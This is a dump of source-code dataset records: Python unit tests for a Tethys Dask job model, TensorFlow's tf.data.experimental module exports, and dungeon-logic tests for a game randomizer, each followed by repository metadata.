from tethys_sdk.testing import TethysTestCase from tethys_compute.models.dask.dask_scheduler import Scheduler, DaskScheduler from tethys_compute.models.dask.dask_job import DaskJob from django.contrib.auth.models import User import dask from unittest import mock import time @dask.delayed def inc(x): return x + 1 @dask.delayed def double(x): return x + 2 @dask.delayed def add(x, y): time.sleep(2) return x + y class DaskJobTest(TethysTestCase): def set_up(self): self.user = User.objects.create_user('tethys_super', 'user@example.com', 'pass') self.scheduler = DaskScheduler( name='test_dask_scheduler', host='127.0.0.1:8000', timeout=10, heartbeat_interval=5, dashboard='test_dashboard', ) self.scheduler.save() def tear_down(self): self.scheduler.delete() @mock.patch('tethys_compute.models.dask.dask_job.Client') def test_client_prop_with_invalid_scheduler(self, mock_client): mock_client.return_value = 'test_client' djob = DaskJob(name='test_dj', user=self.user, key='test_key', label='label', scheduler=None) ret = djob.client self.assertEqual('test_client', ret) mock_client.assert_called() @mock.patch('tethys_compute.models.dask.dask_scheduler.Client') def test_client_prop_with_valid_scheduler(self, mock_client): mock_client.return_value = 'test_client' dask_scheduler = Scheduler.objects.get_subclass(name='test_dask_scheduler') djob = DaskJob(name='test_dj', user=self.user, key='test_key', label='label', scheduler=dask_scheduler) ret = djob.client self.assertEqual('test_client', ret) mock_client.assert_called_with(address='127.0.0.1:8000', heartbeat_interval=5, timeout=10) @mock.patch('tethys_compute.models.dask.dask_job.Client') def test_client_no_scheduler_prop(self, mock_client): mock_client.return_value = 'test_default_client' djob = DaskJob(name='test_dj', user=self.user, label='label') ret = djob.client self.assertEqual('test_default_client', ret) mock_client.assert_called_with() @mock.patch('tethys_compute.models.dask.dask_scheduler.Client') @mock.patch('tethys_compute.models.dask.dask_job.Future') def test_future_prop(self, mock_future, mock_client): mock_client_ret = mock.MagicMock() mock_client.return_value = mock_client_ret mock_client_ret.submit.return_value = mock.MagicMock(key='test_key') djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) client = djob.client future = client.submit(inc, 1) djob.key = future.key ret = djob.future mock_future.assert_called_with(key='test_key', client=mock_client_ret) self.assertEqual(mock_future(), ret) @mock.patch('tethys_compute.models.dask.dask_scheduler.Client') def test_future_prop_no_key(self, mock_client): mock_client_ret = mock.MagicMock() mock_client.return_value = mock_client_ret mock_client_ret.submit.return_value = mock.MagicMock(key='test_key') djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) client = djob.client client.submit(inc, 1) ret = djob.future self.assertIsNone(ret) @mock.patch('tethys_compute.models.dask.dask_job.log') @mock.patch('tethys_compute.models.dask.dask_scheduler.Client') @mock.patch('tethys_compute.models.dask.dask_job.Future') def test_future_prop_exception(self, mock_future, mock_client, mock_log): mock_client_ret = mock.MagicMock() mock_client.return_value = mock_client_ret mock_client_ret.submit.return_value = mock.MagicMock(key='test_key') mock_future.side_effect = Exception('exception in creating future') djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) client = djob.client future = client.submit(inc, 1) djob.key = future.key ret = djob.future self.assertIsNone(ret) mock_log.exception.assert_called_with('Dask Future Init Error') @mock.patch('tethys_compute.models.dask.dask_job.fire_and_forget') @mock.patch('django.db.models.base.Model.save') @mock.patch('tethys_compute.models.dask.dask_scheduler.Client') def test_execute_delayed(self, mock_client, mock_save, mock_ff): mock_client_ret = mock.MagicMock() mock_client.return_value = mock_client_ret mock_future = mock.MagicMock(key='test_key') mock_client_ret.compute.return_value = mock_future djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) delayed = dask.delayed(inc)(1) djob._execute(delayed) mock_client_ret.compute.assert_called_with(delayed) self.assertEqual('test_key', djob.key) mock_save.assert_called() mock_ff.assert_called_with(mock_future) @mock.patch('tethys_compute.models.dask.dask_job.isinstance') @mock.patch('tethys_compute.models.dask.dask_job.fire_and_forget') @mock.patch('django.db.models.base.Model.save') @mock.patch('tethys_compute.models.dask.dask_scheduler.Client') def test_execute_future(self, mock_client, mock_save, mock_ff, mock_isinstance): mock_client.return_value = mock.MagicMock() mock_isinstance.side_effect = [True, False] djob = DaskJob( name='test_dj', user=self.user, label='label', scheduler=self.scheduler ) client = djob.client future = client.submit(inc, 2) djob._execute(future) self.assertEqual(future.key, djob.key) mock_save.assert_called() mock_ff.assert_called_with(future) def test_execute_not_future_delayed(self): djob = DaskJob( name='test_dj', user=self.user, label='label', scheduler=self.scheduler ) self.assertRaises(ValueError, djob._execute, 1) @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.client') @mock.patch('django.db.models.base.Model.save') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') def test_update_status(self, mock_future, mock_save, mock_client): mock_future.status = 'finished' djob = DaskJob( name='test_dj', user=self.user, label='label', scheduler=self.scheduler ) djob._update_status() mock_client.close.assert_called() mock_save.assert_called() def test_update_status_with_no_future(self): djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) self.assertIsNone(djob._update_status()) @mock.patch('tethys_compute.models.dask.dask_job.log') @mock.patch('django.db.models.base.Model.save') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') def test_update_status_exception(self, mock_future, mock_save, mock_log): mock_future.status = 'foo' djob = DaskJob( name='test_dj', user=self.user, label='label', scheduler=self.scheduler ) djob._update_status() mock_log.error.assert_called_with('Unknown Dask Status: "foo"') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._acquire_pr_lock') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._release_pr_lock') def test_process_result_with_failed_lock(self, mock_re_lock, mock_apl): mock_apl.return_value = False djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler, _process_results_function='test_function') self.assertIsNone(djob._process_results()) mock_re_lock.assert_not_called() @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future', new_callable=mock.PropertyMock(return_value=None)) @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._acquire_pr_lock') def test_process_result_no_future(self, mock_apl, _): mock_apl.return_value = True djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler, _process_results_function='test_function') self.assertIsNone(djob._process_results()) @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.client') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future', new_callable=mock.PropertyMock()) def test_process_result_forget(self, _, mock_client): djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler, forget=True) ret = djob._process_results() mock_client.close.assert_called() self.assertIsNone(ret) @mock.patch('tethys_compute.models.tethys_job.TethysFunctionExtractor') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.client') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._acquire_pr_lock') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._release_pr_lock') def test_process_result_with_result_function(self, mock_re_lock, mock_apl, mock_client, mock_future, mock_tfe): fake_key = 'sum_faef' mock_function_extractor = mock.MagicMock() mock_function = mock.MagicMock(return_value='foo') mock_function_extractor.valid = True mock_function_extractor.function = mock_function mock_tfe.return_value = mock_function_extractor mock_apl.return_value = True djob = DaskJob( name='test_dj', user=self.user, label='label', scheduler=self.scheduler, _process_results_function='test_function' ) djob.key = fake_key djob._process_results() mock_client.close.assert_called() mock_client.gather.assert_called_with(mock_future) mock_function.assert_called_with(mock_client.gather()) mock_client.set_metadata.assert_called_with(fake_key, False) self.assertEqual('', djob.key) mock_re_lock.assert_called() @mock.patch('tethys_compute.models.tethys_job.TethysFunctionExtractor') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.client') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._acquire_pr_lock') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._release_pr_lock') @mock.patch('tethys_compute.models.dask.dask_job.log') def test_process_result_with_client_gather_exception(self, mock_logger, mock_re_lock, mock_apl, mock_client, mock_future, mock_tfe): mock_function_extractor = mock.MagicMock() mock_function = mock.MagicMock(return_value='foo') mock_function_extractor.valid = True mock_function_extractor.function = mock_function mock_tfe.return_value = mock_function_extractor mock_apl.return_value = True gather_exception = Exception('Fake exception') mock_client.gather.side_effect = gather_exception djob = DaskJob( name='test_dj', user=self.user, label='label', scheduler=self.scheduler, _process_results_function='test_function' ) djob._process_results() mock_client.gather.assert_called_with(mock_future) mock_logger.warning.assert_called() mock_function.assert_called_with(gather_exception) mock_re_lock.assert_called() @mock.patch('django.db.models.base.Model.save') @mock.patch('tethys_compute.models.dask.dask_job.log') @mock.patch('tethys_compute.models.tethys_job.TethysFunctionExtractor') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.client') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._acquire_pr_lock') @mock.patch('tethys_compute.models.dask.dask_job.DaskJob._release_pr_lock') def test_process_result_with_result_function_with_exception(self, mock_re_lock, mock_apl, _, mock_client, mock_tfe, mock_log, mock_save): mock_function_extractor = mock.MagicMock() mock_function = mock.MagicMock() mock_function.side_effect = Exception mock_function_extractor.valid = True mock_function_extractor.function = mock_function mock_tfe.return_value = mock_function_extractor mock_apl.return_value = True djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler, _process_results_function='test_function') djob._process_results() mock_log.exception.assert_called_with('Process Results Function Error') self.assertEqual('ERR', djob._status) mock_save.assert_called() mock_re_lock.assert_called() @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') def test_stop(self, mock_future): djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) djob.stop() mock_future.cancel.assert_called() def test_pause(self): djob = DaskJob(name='test_dj', user=self.user, key='test_key', label='label', scheduler=self.scheduler) self.assertRaises(NotImplementedError, djob.pause) def test_resume(self): djob = DaskJob(name='test_dj', user=self.user, key='test_key', label='label', scheduler=self.scheduler) self.assertRaises(NotImplementedError, djob.resume) def test_result(self): djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) djob.result = 'serialized_results' ret = djob.result self.assertEqual('serialized_results', ret) def test_result_none(self): djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) djob.result = None ret = djob.result self.assertIsNone(ret) @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') def test_done(self, mock_future): djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) ret = djob.done() mock_future.done.assert_called() self.assertEqual(mock_future.done(), ret) def test_done_with_no_future(self): djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) self.assertIsNone(djob.done()) def test_update_status_interval_prop(self): from datetime import timedelta djob = DaskJob(name='test_daskjob', user=self.user, label='label') djob.save() ret = DaskJob.objects.get(name='test_daskjob').update_status_interval self.assertIsInstance(ret, timedelta) self.assertEqual(timedelta(0, 0), ret) djob.delete() @mock.patch('tethys_compute.models.dask.dask_job.DaskJob.future') def test_retry(self, mock_future): djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) djob.retry() mock_future.retry.assert_called() def test_retry_no_future(self): djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) self.assertIsNone(djob.retry()) @mock.patch('tethys_compute.models.dask.dask_job.log') def test_fail_acquire_pr_lock(self, mock_log): djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) djob.extended_properties['processing_results'] = True self.assertFalse(djob._acquire_pr_lock()) mock_log.warning.assert_called_with('Unable to aquire lock. Processing results already occurring. Skipping...') @mock.patch('django.db.models.base.Model.save') def test_fail_release_pr_lock(self, mock_save): djob = DaskJob(name='test_dj', user=self.user, label='label', scheduler=self.scheduler) djob.extended_properties['processing_results'] = True djob._release_pr_lock() self.assertFalse(djob.extended_properties['processing_results']) mock_save.assert_called()

true

f7103a621ee09bad322a5add73d81308b6b2be8c

6,345

py

Python

tensorflow/python/data/experimental/__init__.py

Sonata-Wang/tensorflow

8bbef0cd77879d05ed69bf30e76087847a8ca4a2

[ "Apache-2.0" ]

6

2019-02-05T22:36:51.000Z

2022-01-14T03:50:57.000Z

tensorflow/python/data/experimental/__init__.py

dipu989/tensorflow

3e21fe5faedab3a8258d344c8ad1cec2612a8aa8

[ "Apache-2.0" ]

1

2019-09-14T04:40:07.000Z

2020-11-18T18:16:17.000Z

tensorflow/python/data/experimental/__init__.py

dipu989/tensorflow

3e21fe5faedab3a8258d344c8ad1cec2612a8aa8

[ "Apache-2.0" ]

8

2016-01-14T13:12:56.000Z

2021-04-09T10:20:53.000Z

# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Experimental API for building input pipelines. This module contains experimental `Dataset` sources and transformations that can be used in conjunction with the `tf.data.Dataset` API. Note that the `tf.data.experimental` API is not subject to the same backwards compatibility guarantees as `tf.data`, but we will provide deprecation advice in advance of removing existing functionality. See [Importing Data](https://tensorflow.org/guide/datasets) for an overview. @@Counter @@CheckpointInputPipelineHook @@CsvDataset @@DatasetStructure @@NestedStructure @@OptimizationOptions @@Optional @@OptionalStructure @@RandomDataset @@Reducer @@SparseTensorStructure @@SqlDataset @@StatsAggregator @@StatsOptions @@Structure @@TFRecordWriter @@TensorStructure @@ThreadingOptions @@bucket_by_sequence_length @@bytes_produced_stats @@cardinality @@choose_from_datasets @@copy_to_device @@dense_to_sparse_batch @@enumerate_dataset @@filter_for_shard @@get_next_as_optional @@get_single_element @@group_by_reducer @@group_by_window @@ignore_errors @@latency_stats @@make_batched_features_dataset @@make_csv_dataset @@make_saveable_from_iterator @@map_and_batch @@map_and_batch_with_legacy_function @@parallel_interleave @@parse_example_dataset @@prefetch_to_device @@rejection_resample @@sample_from_datasets @@scan @@shuffle_and_repeat @@take_while @@unbatch @@unique @@AUTOTUNE @@INFINITE_CARDINALITY @@UNKNOWN_CARDINALITY """ from __future__ import absolute_import from __future__ import division from __future__ import print_function # pylint: disable=unused-import from tensorflow.python.data.experimental.ops.batching import dense_to_sparse_batch from tensorflow.python.data.experimental.ops.batching import map_and_batch from tensorflow.python.data.experimental.ops.batching import map_and_batch_with_legacy_function from tensorflow.python.data.experimental.ops.batching import unbatch from tensorflow.python.data.experimental.ops.cardinality import cardinality from tensorflow.python.data.experimental.ops.cardinality import INFINITE as INFINITE_CARDINALITY from tensorflow.python.data.experimental.ops.cardinality import UNKNOWN as UNKNOWN_CARDINALITY from tensorflow.python.data.experimental.ops.counter import Counter from tensorflow.python.data.experimental.ops.enumerate_ops import enumerate_dataset from tensorflow.python.data.experimental.ops.error_ops import ignore_errors from tensorflow.python.data.experimental.ops.filter_for_shard_ops import filter_for_shard from tensorflow.python.data.experimental.ops.get_single_element import get_single_element from tensorflow.python.data.experimental.ops.grouping import bucket_by_sequence_length from tensorflow.python.data.experimental.ops.grouping import group_by_reducer from tensorflow.python.data.experimental.ops.grouping import group_by_window from tensorflow.python.data.experimental.ops.grouping import Reducer from tensorflow.python.data.experimental.ops.interleave_ops import choose_from_datasets from tensorflow.python.data.experimental.ops.interleave_ops import parallel_interleave from tensorflow.python.data.experimental.ops.interleave_ops import sample_from_datasets from tensorflow.python.data.experimental.ops.iterator_ops import CheckpointInputPipelineHook from tensorflow.python.data.experimental.ops.iterator_ops import make_saveable_from_iterator from tensorflow.python.data.experimental.ops.optimization import AUTOTUNE from tensorflow.python.data.experimental.ops.optimization_options import OptimizationOptions from tensorflow.python.data.experimental.ops.parsing_ops import parse_example_dataset from tensorflow.python.data.experimental.ops.prefetching_ops import copy_to_device from tensorflow.python.data.experimental.ops.prefetching_ops import prefetch_to_device from tensorflow.python.data.experimental.ops.random_ops import RandomDataset from tensorflow.python.data.experimental.ops.readers import CsvDataset from tensorflow.python.data.experimental.ops.readers import make_batched_features_dataset from tensorflow.python.data.experimental.ops.readers import make_csv_dataset from tensorflow.python.data.experimental.ops.readers import SqlDataset from tensorflow.python.data.experimental.ops.resampling import rejection_resample from tensorflow.python.data.experimental.ops.scan_ops import scan from tensorflow.python.data.experimental.ops.shuffle_ops import shuffle_and_repeat from tensorflow.python.data.experimental.ops.stats_aggregator import StatsAggregator from tensorflow.python.data.experimental.ops.stats_ops import bytes_produced_stats from tensorflow.python.data.experimental.ops.stats_ops import latency_stats from tensorflow.python.data.experimental.ops.stats_options import StatsOptions from tensorflow.python.data.experimental.ops.take_while_ops import take_while from tensorflow.python.data.experimental.ops.threading_options import ThreadingOptions from tensorflow.python.data.experimental.ops.unique import unique from tensorflow.python.data.experimental.ops.writers import TFRecordWriter from tensorflow.python.data.ops.dataset_ops import DatasetStructure from tensorflow.python.data.ops.iterator_ops import get_next_as_optional from tensorflow.python.data.ops.optional_ops import Optional from tensorflow.python.data.ops.optional_ops import OptionalStructure from tensorflow.python.data.util.structure import NestedStructure from tensorflow.python.data.util.structure import SparseTensorStructure from tensorflow.python.data.util.structure import Structure from tensorflow.python.data.util.structure import TensorStructure # pylint: enable=unused-import from tensorflow.python.util.all_util import remove_undocumented remove_undocumented(__name__)

45.647482

96

0.849173

from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.python.data.experimental.ops.batching import dense_to_sparse_batch from tensorflow.python.data.experimental.ops.batching import map_and_batch from tensorflow.python.data.experimental.ops.batching import map_and_batch_with_legacy_function from tensorflow.python.data.experimental.ops.batching import unbatch from tensorflow.python.data.experimental.ops.cardinality import cardinality from tensorflow.python.data.experimental.ops.cardinality import INFINITE as INFINITE_CARDINALITY from tensorflow.python.data.experimental.ops.cardinality import UNKNOWN as UNKNOWN_CARDINALITY from tensorflow.python.data.experimental.ops.counter import Counter from tensorflow.python.data.experimental.ops.enumerate_ops import enumerate_dataset from tensorflow.python.data.experimental.ops.error_ops import ignore_errors from tensorflow.python.data.experimental.ops.filter_for_shard_ops import filter_for_shard from tensorflow.python.data.experimental.ops.get_single_element import get_single_element from tensorflow.python.data.experimental.ops.grouping import bucket_by_sequence_length from tensorflow.python.data.experimental.ops.grouping import group_by_reducer from tensorflow.python.data.experimental.ops.grouping import group_by_window from tensorflow.python.data.experimental.ops.grouping import Reducer from tensorflow.python.data.experimental.ops.interleave_ops import choose_from_datasets from tensorflow.python.data.experimental.ops.interleave_ops import parallel_interleave from tensorflow.python.data.experimental.ops.interleave_ops import sample_from_datasets from tensorflow.python.data.experimental.ops.iterator_ops import CheckpointInputPipelineHook from tensorflow.python.data.experimental.ops.iterator_ops import make_saveable_from_iterator from tensorflow.python.data.experimental.ops.optimization import AUTOTUNE from tensorflow.python.data.experimental.ops.optimization_options import OptimizationOptions from tensorflow.python.data.experimental.ops.parsing_ops import parse_example_dataset from tensorflow.python.data.experimental.ops.prefetching_ops import copy_to_device from tensorflow.python.data.experimental.ops.prefetching_ops import prefetch_to_device from tensorflow.python.data.experimental.ops.random_ops import RandomDataset from tensorflow.python.data.experimental.ops.readers import CsvDataset from tensorflow.python.data.experimental.ops.readers import make_batched_features_dataset from tensorflow.python.data.experimental.ops.readers import make_csv_dataset from tensorflow.python.data.experimental.ops.readers import SqlDataset from tensorflow.python.data.experimental.ops.resampling import rejection_resample from tensorflow.python.data.experimental.ops.scan_ops import scan from tensorflow.python.data.experimental.ops.shuffle_ops import shuffle_and_repeat from tensorflow.python.data.experimental.ops.stats_aggregator import StatsAggregator from tensorflow.python.data.experimental.ops.stats_ops import bytes_produced_stats from tensorflow.python.data.experimental.ops.stats_ops import latency_stats from tensorflow.python.data.experimental.ops.stats_options import StatsOptions from tensorflow.python.data.experimental.ops.take_while_ops import take_while from tensorflow.python.data.experimental.ops.threading_options import ThreadingOptions from tensorflow.python.data.experimental.ops.unique import unique from tensorflow.python.data.experimental.ops.writers import TFRecordWriter from tensorflow.python.data.ops.dataset_ops import DatasetStructure from tensorflow.python.data.ops.iterator_ops import get_next_as_optional from tensorflow.python.data.ops.optional_ops import Optional from tensorflow.python.data.ops.optional_ops import OptionalStructure from tensorflow.python.data.util.structure import NestedStructure from tensorflow.python.data.util.structure import SparseTensorStructure from tensorflow.python.data.util.structure import Structure from tensorflow.python.data.util.structure import TensorStructure from tensorflow.python.util.all_util import remove_undocumented remove_undocumented(__name__)

true

f7103cf22159d3ede9a65e78e17f06013e656af4

4,661

py

Python

test/dungeons/TestSkullWoods.py

RoflCopter69/MultiWorld-Utilities

545bb8023c7b5be44584bf32bca696c8d7a19213

[ "MIT" ]

null

test/dungeons/TestSkullWoods.py

RoflCopter69/MultiWorld-Utilities

545bb8023c7b5be44584bf32bca696c8d7a19213

[ "MIT" ]

5

2020-01-18T21:10:46.000Z

2020-01-25T20:58:19.000Z

test/dungeons/TestSkullWoods.py

RoflCopter69/MultiWorld-Utilities

545bb8023c7b5be44584bf32bca696c8d7a19213

[ "MIT" ]

2

2020-01-18T17:36:50.000Z

2020-01-22T16:52:08.000Z

from test.dungeons.TestDungeon import TestDungeon class TestSkullWoods(TestDungeon): def testSkullWoodsFrontAllEntrances(self): self.starting_regions = ['Skull Woods First Section', 'Skull Woods First Section (Left)', 'Skull Woods First Section (Top)'] self.run_tests([ ["Skull Woods - Big Chest", False, []], ["Skull Woods - Big Chest", False, [], ['Big Key (Skull Woods)']], ["Skull Woods - Big Chest", True, ['Big Key (Skull Woods)']], ["Skull Woods - Compass Chest", True, []], ["Skull Woods - Map Chest", True, []], ["Skull Woods - Pot Prison", True, []], ["Skull Woods - Pinball Room", True, []] ]) def testSkullWoodsFrontOnly(self): self.starting_regions = ['Skull Woods First Section'] self.run_tests([ ["Skull Woods - Big Chest", False, []], ["Skull Woods - Big Chest", False, [], ['Never in logic']], ["Skull Woods - Compass Chest", False, []], ["Skull Woods - Compass Chest", False, ['Small Key (Skull Woods)'], ['Small Key (Skull Woods)']], ["Skull Woods - Compass Chest", True, ['Small Key (Skull Woods)', 'Small Key (Skull Woods)']], ["Skull Woods - Map Chest", True, []], ["Skull Woods - Pot Prison", False, []], ["Skull Woods - Pot Prison", False, ['Small Key (Skull Woods)'], ['Small Key (Skull Woods)']], ["Skull Woods - Pot Prison", True, ['Small Key (Skull Woods)', 'Small Key (Skull Woods)']], ["Skull Woods - Pinball Room", False, []], ["Skull Woods - Pinball Room", False, [], ['Small Key (Skull Woods)']], ["Skull Woods - Pinball Room", True, ['Small Key (Skull Woods)']] ]) def testSkullWoodsLeftOnly(self): self.starting_regions = ['Skull Woods First Section (Left)'] self.remove_exits = ['Skull Woods First Section Exit'] self.run_tests([ ["Skull Woods - Big Chest", False, []], ["Skull Woods - Big Chest", False, [], ['Never in logic']], ["Skull Woods - Compass Chest", True, []], ["Skull Woods - Map Chest", False, []], ["Skull Woods - Map Chest", False, [], ['Small Key (Skull Woods)']], ["Skull Woods - Map Chest", True, ['Small Key (Skull Woods)']], ["Skull Woods - Pot Prison", True, []], ["Skull Woods - Pinball Room", True, []] ]) def testSkullWoodsBackOnly(self): self.starting_regions = ['Skull Woods First Section (Top)'] self.remove_exits = ['Skull Woods First Section Exit'] self.run_tests([ ["Skull Woods - Big Chest", False, []], ["Skull Woods - Big Chest", False, [], ['Big Key (Skull Woods)']], ["Skull Woods - Big Chest", True, ['Big Key (Skull Woods)']], ["Skull Woods - Compass Chest", False, []], ["Skull Woods - Compass Chest", False, ['Small Key (Skull Woods)'], ['Small Key (Skull Woods)']], ["Skull Woods - Compass Chest", True, ['Small Key (Skull Woods)', 'Small Key (Skull Woods)']], ["Skull Woods - Map Chest", True, []], ["Skull Woods - Pot Prison", False, []], ["Skull Woods - Pot Prison", False, ['Small Key (Skull Woods)'], ['Small Key (Skull Woods)']], ["Skull Woods - Pot Prison", True, ['Small Key (Skull Woods)', 'Small Key (Skull Woods)']], ["Skull Woods - Pinball Room", False, []], ["Skull Woods - Pinball Room", False, [], ['Small Key (Skull Woods)']], ["Skull Woods - Pinball Room", True, ['Small Key (Skull Woods)']] ]) def testSkullWoodsMiddle(self): self.starting_regions = ['Skull Woods Second Section'] self.remove_exits = ['Skull Woods Second Section Exit (East)', 'Skull Woods Second Section Exit (West)'] self.run_tests([["Skull Woods - Big Key Chest", True, []]]) def testSkullWoodsBack(self): self.starting_regions = ['Skull Woods Final Section (Entrance)'] self.run_tests([ ["Skull Woods - Bridge Room", True, []], ["Skull Woods - Boss", False, []], ["Skull Woods - Boss", False, [], ['Fire Rod']], ["Skull Woods - Boss", False, [], ['Progressive Sword']], ["Skull Woods - Boss", False, ['Small Key (Skull Woods)', 'Small Key (Skull Woods)'], ['Small Key (Skull Woods)']], ["Skull Woods - Boss", True, ['Small Key (Skull Woods)', 'Small Key (Skull Woods)', 'Small Key (Skull Woods)', 'Fire Rod', 'Progressive Sword']], ])

47.080808

157

0.548809

from test.dungeons.TestDungeon import TestDungeon class TestSkullWoods(TestDungeon): def testSkullWoodsFrontAllEntrances(self): self.starting_regions = ['Skull Woods First Section', 'Skull Woods First Section (Left)', 'Skull Woods First Section (Top)'] self.run_tests([ ["Skull Woods - Big Chest", False, []], ["Skull Woods - Big Chest", False, [], ['Big Key (Skull Woods)']], ["Skull Woods - Big Chest", True, ['Big Key (Skull Woods)']], ["Skull Woods - Compass Chest", True, []], ["Skull Woods - Map Chest", True, []], ["Skull Woods - Pot Prison", True, []], ["Skull Woods - Pinball Room", True, []] ]) def testSkullWoodsFrontOnly(self): self.starting_regions = ['Skull Woods First Section'] self.run_tests([ ["Skull Woods - Big Chest", False, []], ["Skull Woods - Big Chest", False, [], ['Never in logic']], ["Skull Woods - Compass Chest", False, []], ["Skull Woods - Compass Chest", False, ['Small Key (Skull Woods)'], ['Small Key (Skull Woods)']], ["Skull Woods - Compass Chest", True, ['Small Key (Skull Woods)', 'Small Key (Skull Woods)']], ["Skull Woods - Map Chest", True, []], ["Skull Woods - Pot Prison", False, []], ["Skull Woods - Pot Prison", False, ['Small Key (Skull Woods)'], ['Small Key (Skull Woods)']], ["Skull Woods - Pot Prison", True, ['Small Key (Skull Woods)', 'Small Key (Skull Woods)']], ["Skull Woods - Pinball Room", False, []], ["Skull Woods - Pinball Room", False, [], ['Small Key (Skull Woods)']], ["Skull Woods - Pinball Room", True, ['Small Key (Skull Woods)']] ]) def testSkullWoodsLeftOnly(self): self.starting_regions = ['Skull Woods First Section (Left)'] self.remove_exits = ['Skull Woods First Section Exit'] self.run_tests([ ["Skull Woods - Big Chest", False, []], ["Skull Woods - Big Chest", False, [], ['Never in logic']], ["Skull Woods - Compass Chest", True, []], ["Skull Woods - Map Chest", False, []], ["Skull Woods - Map Chest", False, [], ['Small Key (Skull Woods)']], ["Skull Woods - Map Chest", True, ['Small Key (Skull Woods)']], ["Skull Woods - Pot Prison", True, []], ["Skull Woods - Pinball Room", True, []] ]) def testSkullWoodsBackOnly(self): self.starting_regions = ['Skull Woods First Section (Top)'] self.remove_exits = ['Skull Woods First Section Exit'] self.run_tests([ ["Skull Woods - Big Chest", False, []], ["Skull Woods - Big Chest", False, [], ['Big Key (Skull Woods)']], ["Skull Woods - Big Chest", True, ['Big Key (Skull Woods)']], ["Skull Woods - Compass Chest", False, []], ["Skull Woods - Compass Chest", False, ['Small Key (Skull Woods)'], ['Small Key (Skull Woods)']], ["Skull Woods - Compass Chest", True, ['Small Key (Skull Woods)', 'Small Key (Skull Woods)']], ["Skull Woods - Map Chest", True, []], ["Skull Woods - Pot Prison", False, []], ["Skull Woods - Pot Prison", False, ['Small Key (Skull Woods)'], ['Small Key (Skull Woods)']], ["Skull Woods - Pot Prison", True, ['Small Key (Skull Woods)', 'Small Key (Skull Woods)']], ["Skull Woods - Pinball Room", False, []], ["Skull Woods - Pinball Room", False, [], ['Small Key (Skull Woods)']], ["Skull Woods - Pinball Room", True, ['Small Key (Skull Woods)']] ]) def testSkullWoodsMiddle(self): self.starting_regions = ['Skull Woods Second Section'] self.remove_exits = ['Skull Woods Second Section Exit (East)', 'Skull Woods Second Section Exit (West)'] self.run_tests([["Skull Woods - Big Key Chest", True, []]]) def testSkullWoodsBack(self): self.starting_regions = ['Skull Woods Final Section (Entrance)'] self.run_tests([ ["Skull Woods - Bridge Room", True, []], ["Skull Woods - Boss", False, []], ["Skull Woods - Boss", False, [], ['Fire Rod']], ["Skull Woods - Boss", False, [], ['Progressive Sword']], ["Skull Woods - Boss", False, ['Small Key (Skull Woods)', 'Small Key (Skull Woods)'], ['Small Key (Skull Woods)']], ["Skull Woods - Boss", True, ['Small Key (Skull Woods)', 'Small Key (Skull Woods)', 'Small Key (Skull Woods)', 'Fire Rod', 'Progressive Sword']], ])

true

f7103e80a8ede0bdc771ecfc4ac8fc26714105f6

42

py

Python

.history/app/models_20210927050146.py

GraceOswal/pitch-perfect

d781c6e0f55c11f2a5e5dceb952f6b2de3c47c3b

[ "MIT" ]

null

.history/app/models_20210927050146.py

GraceOswal/pitch-perfect

d781c6e0f55c11f2a5e5dceb952f6b2de3c47c3b

[ "MIT" ]

null

.history/app/models_20210927050146.py

GraceOswal/pitch-perfect

d781c6e0f55c11f2a5e5dceb952f6b2de3c47c3b

[ "MIT" ]

null

from . import db # connect class user to

14

24

0.714286

from . import db

true

f7103ec2d4ba007ff5ea0a410b0557eaa6f6e7f4

1,153

py

Python

google/ads/googleads/v8/googleads-py/google/ads/googleads/v8/enums/types/shared_set_status.py

googleapis/googleapis-gen

d84824c78563d59b0e58d5664bfaa430e9ad7e7a

[ "Apache-2.0" ]

7

2021-02-21T10:39:41.000Z

2021-12-07T07:31:28.000Z

